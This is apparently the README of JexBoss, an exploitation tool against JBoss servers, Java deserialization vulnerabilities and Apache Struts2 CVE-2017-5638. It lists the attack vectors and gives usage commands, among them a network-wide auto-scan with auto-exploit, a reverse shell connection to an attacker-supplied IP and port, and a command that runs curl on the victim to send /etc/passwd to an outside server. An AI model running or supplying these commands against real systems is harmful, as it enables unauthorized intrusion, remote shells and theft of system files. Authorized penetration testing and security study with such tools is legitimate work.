Features
The tool and exploits were developed and tested for:

• JBoss Application Server versions: 3, 4, 5 and 6.
• Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

• /admin-console
  • tested and working in JBoss versions 5 and 6
• /jmx-console
  • tested and working in JBoss versions 4, 5 and 6
• /web-console/Invoker
  • tested and working in JBoss versions 4, 5 and 6
• /invoker/JMXInvokerServlet
  • tested and working in JBoss versions 4, 5 and 6
• Application Deserialization
  • tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
• Servlet Deserialization
  • tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
• Apache Struts2 CVE-2017-5638
  • tested in Apache Struts 2 applications
• Others

Videos

Screenshots

• Simple usage examples:

$ python jexboss.py

• Example of standalone mode against JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Usage modes:

$ python jexboss.py -h

• Network scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Network scan with auto-exploit mode:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Results and recommendations:

Reverse Shell (meterpreter integration)
After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl [email protected]/etc/passwd http://your_server'

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• For Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Auto scan mode:
